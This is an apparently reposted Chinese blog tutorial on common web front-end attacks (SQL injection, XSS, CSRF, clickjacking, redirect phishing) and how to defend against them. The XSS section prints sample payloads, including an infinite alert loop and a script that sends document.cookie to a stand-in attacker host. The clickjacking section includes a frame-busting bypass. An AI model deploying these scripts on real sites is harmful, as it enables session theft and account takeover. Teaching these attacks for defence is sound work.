【网络通讯】web前端常见受攻击方式

你的秃头小宝贝
152 阅读10分钟

原文出自：https://www.jb51.net/article/191635.htm

juejin.cn/post/684490…

                https://segmentfault.com/a/1190000021369300

一个网站建立以后，如果不注意安全方面的问题，很容易被人攻击，下面就讨论一下几种漏洞情况和防止攻击的办法。

一、SQL注入

所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击。

原理：

　　SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。

　　根据相关技术原理，SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致；后者主要是由于程序员对输入未进行细致地过滤，从而执行了非法的数据查询。基于此，SQL注入的产生原因通常表现在以下几方面：

　　①不当的类型处理；

　　②不安全的数据库配置；

　　③不合理的查询集处理；

　　④不当的错误处理；

　　⑤转义字符处理不合适；

　　⑥多个提交处理不当。

防御：

　　1.永远不要信任用户的输入。对用户的输入进行校验，可以通过正则表达式，或限制长度；对单引号和双"-"进行转换等。

　　2.永远不要使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

　　3.永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。

　　4.不要把机密信息直接存放，加密或者hash掉密码和敏感的信息。

　　5.应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装

　　6.sql注入的检测方法一般采取辅助软件或网站平台来检测，软件一般采用sql注入检测工具jsky，MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入，XSS攻击等。

二、跨站脚本攻击（XSS,Cross-site scripting）

xss: 跨站脚本攻击（Cross Site Scripting）是最常见和基本的攻击 WEB 网站方法，攻击者通过注入非法的 html 标签或者 javascript 代码，从而当用户浏览该网页时，控制用户浏览器。

xss 主要分为三类：

  • DOM xss :

    DOM即文本对象模型，DOM通常代表在html、xhtml和xml中的对象，使用DOM可以允许程序和脚本动态的访问和更新文档的内容、结构和样式。它不需要服务器解析响应的直接参与，触发XSS靠的是浏览器端的DOM解析，可以认为完全是客户端的事情。

  • 反射型 xss :

    反射型XSS也被称为非持久性XSS，是现在最容易出现的一种XSS漏洞。发出请求时，XSS代码出现在URL中，最后输入提交到服务器，服务器解析后在响应内容中出现这段XSS代码，最后浏览器解析执行。

  • 存储型 xss :

    存储型XSS又被称为持久性XSS，它是最危险的一种跨站脚本，相比反射型XSS和DOM型XSS具有更高的隐蔽性，所以危害更大，因为它不需要用户手动触发。 允许用户存储数据的web程序都可能存在存储型XSS漏洞，当攻击者提交一段XSS代码后，被服务器端接收并存储，当所有浏览者访问某个页面时都会被XSS，其中最典型的例子就是留言板。

跨站脚本攻击可能造成以下影响：

  • 利用虚假输入表单骗取用户个人信息。

  • 利用脚本窃取用户的 Cookie 值，被害者在不知情的情况下，帮助攻击者发送恶意请求。

  • 显示伪造的文章或图片。

存储型 xss 案例

在项目开发中，评论是个常见的功能，如果直接把评论的内容保存到数据库，那么显示的时候就可能被攻击。

  • 如果你只是想试试 xss，可以这样：

    试试水

如果带点恶意，可以这样：

<script>
      while (true) {
          alert('Hello')
      }
  </script>

这时，网站就挂了。

当然，最常见 xss 攻击是读取 Cookie：

  <script>
      alert(document.cookie)
  </script>

Cookie 发送给攻击者的站点：

  var img = document.createElement('img')
  img.src='http://www.xss.com?cookie=' + document.cookie
  img.style.display='none'
  document.getElementsByTagName('body')[0].appendChild(img)

当前用户的登录凭证存储于服务器的 session 中，而在浏览器中是以 cookie 的形式存储的。如果攻击者能获取到用户登录凭证的 Cookie，甚至可以绕开登录流程，直接设置这个 Cookie 值，来访问用户的账号。

防御

按理说，只要有输入数据的地方，就可能存在 XSS 危险。

  • httpOnly: 在 cookie 中设置 HttpOnly 属性后，js脚本将无法读取到 cookie 信息。

    // koa ctx.cookies.set(name, value, { httpOnly: true // 默认为 true }) `

  • 过滤

  1. 输入检查，一般是用于对于输入格式的检查，例如：邮箱，电话号码，用户名，密码……等，按照规定的格式输入。

    不仅仅是前端负责，后端也要做相同的过滤检查。

    因为攻击者完全可以绕过正常的输入流程，直接利用相关接口向服务器发送设置。

  2. HtmlEncode
    某些情况下，不能对用户数据进行严格过滤，需要对标签进行转换

当用户输入<script>window.location.href=”http://www.baidu.com”;</script>, 最终保存结果为 &lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;, 在展现时，浏览器会对这些字符转换成文本内容，而不是一段可以执行的代码

    3.JavaScriptEncode

关于更多 HtmlEncode 和 JavaScriptEncode，请参考 www.cnblogs.com/lovesong/p/…

三、跨站点请求伪造（Cross-Site Request Forgeries）

CSRF：跨站点请求伪造（Cross-Site Request Forgeries），也被称为 one-click attack 或者 session riding。冒充用户发起请求（在用户不知情的情况下）， 完成一些违背用户意愿的事情（如修改用户信息，删初评论等）。

可能会造成以下影响：

  • 利用已通过认证的用户权限更新设定信息等；

  • 利用已通过认证的用户权限购买商品；

  • 利用已通过的用户权限在留言板上发表言论。

一张图了解原理：

简而言之：网站过分相信用户。

与XSS的区别

  • 通常来说 CSRF 是由 XSS 实现的，CSRF 时常也被称为 XSRF（CSRF 实现的方式还可以是直接通过命令行发起请求等）。

  • 本质上讲，XSS 是代码注入问题，CSRF 是 HTTP 问题。XSS 是内容没有过滤导致浏览器将攻击者的输入当代码执行。CSRF 则是因为浏览器在发送 HTTP 请求时候自动带上 cookie，而一般网站的 session 都存在 cookie里面。

  • 来自某乎的一个栗子：

                       

案例

比如某网站的转账操作

受害者张三给李四转账100，

通过对银行的网站发起请求 bank.example/transfer?ac… ，

通常情况下，该请求发出后，服务器端会检查 session 是否合法，并且张三已经登录成功，

黑客王五可以自己给银行发送一个请求 bank.example/transfer?ac… ，但是这个请求来自王五，而不是张三，他并不能通过安全认证。他需要张三的 session 。

王五自己做了一个网站，放入如下代码 bank.example/transfer?ac… ，
用各种方式诱使张三点击自己的网站。

张三登录了银行的网站没有退出，访问了黑客王五的网站，上述的 url 就会向银行发起请求。

如果session没有过期，这时悲剧就发生了，张三的账户里少了1000。

防御

  1. 将cookie设置为HttpOnly
    CRSF攻击很大程度上是利用了浏览器的cookie，为了防止站内的XSS漏洞盗取cookie，需要再cookie中设置”httpOnly“属性，这样通过程序（如javascript脚本、Applet）就无法读取到cookie信息，避免了攻击者伪造cookie的情况出现。
    在java的servlet中API中设置cookie为HttpOnly的代码如下：

    response.setHeader("Set-Cookie","cookiename=cookievalue;HttpOnly")

  2. 尽量使用POST，限制使用get
    get接口太容易被拿来做CSRF攻击，只要构造一个img标签，img标签又是不能过滤的数据。接口最好限制为POST使用，GET则无效，降低攻击风险。

  3. 增加token

四、Clickjacking（点击劫持）

Clickjacking： 点击劫持，是指利用透明的按钮或连接做成陷阱，覆盖在 Web 页面之上。然后诱使用户在不知情的情况下，点击那个连接访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing) 。

大概有两种方式：

  • 攻击者使用一个透明 iframe，覆盖在一个网页上，然后诱使用户在该页面上进行操作，此时用户将在不知情的情况下点击透明的 iframe 页面；

  • 攻击者使用一张图片覆盖在网页，遮挡网页原有的位置含义。

案例

一张图了解

一般步骤

  • 黑客创建一个网页利用 iframe 包含目标网站；

  • 隐藏目标网站，使用户无法无法察觉到目标网站存在；

  • 构造网页，诱变用户点击特点按钮

  • 用户在不知情的情况下点击按钮，触发执行恶意网页的命令。

防御

  • X-FRAME-OPTIONS；

    X-FRAME-OPTIONS HTTP 响应头是用来给浏览器指示允许一个页面可否在<frame>, <iframe> 或者 <object> 中展现的标记。网站可以使用此功能，来确保自己网站内容没有被嵌到别人的网站中去，也从而避免点击劫持的攻击。

    有三个值：

    • DENY：表示页面不允许在 frame 中展示，即便是在相同域名的页面中嵌套也不允许。

    • SAMEORIGIN：表示该页面可以在相同域名页面的 frame 中展示。

    • ALLOW-FROM url：表示该页面可以在指定来源的 frame 中展示。

    配置 X-FRAME-OPTIONS：

    • Apache

      把下面这行添加到 'site' 的配置中：

      Header always append X-Frame-Options SAMEORIGIN复制代码

    • nginx

      把下面这行添加到 'http', 'server' 或者 'location'，配置中

      add_header X-Frame-Options SAMEORIGIN;复制代码

    • IIS

      添加下面配置到 Web.config 文件中

        <system.webServer>
...

<httpProtocol>
  <customHeaders>
    <add name="X-Frame-Options" value="SAMEORIGIN" />
  </customHeaders>
</httpProtocol>

...
</system.webServer>复制代码

  • js 判断顶层窗口跳转，可轻易破解，意义不大；

    function locationTop(){
  if (top.location != self.location) {
     top.location = self.location; return false;
  }
  return true; 
 }
locationTop();复制代码

// 破解：
// 顶层窗口中放入代码
var location = document.location;
//或者
var location =

五、重定向攻击

一种常用的攻击手段是“钓鱼”。钓鱼攻击者，通常会发送给受害者一个合法链接，当链接被点击时，用户被导向一个似是而非的非法网站，从而达到骗取用户信任、窃取用户资料的目的。为防止这种行为，我们必须对所有的重定向操作进行审核，以避免重定向到一个危险的地方。常见解决方案是白名单，将合法的要重定向的url加到白名单中，非白名单上的域名重定向时拒之。第二种解决方案是重定向token，在合法的url上加上token，重定向时进行验证。

avatar
文章
阅读
粉丝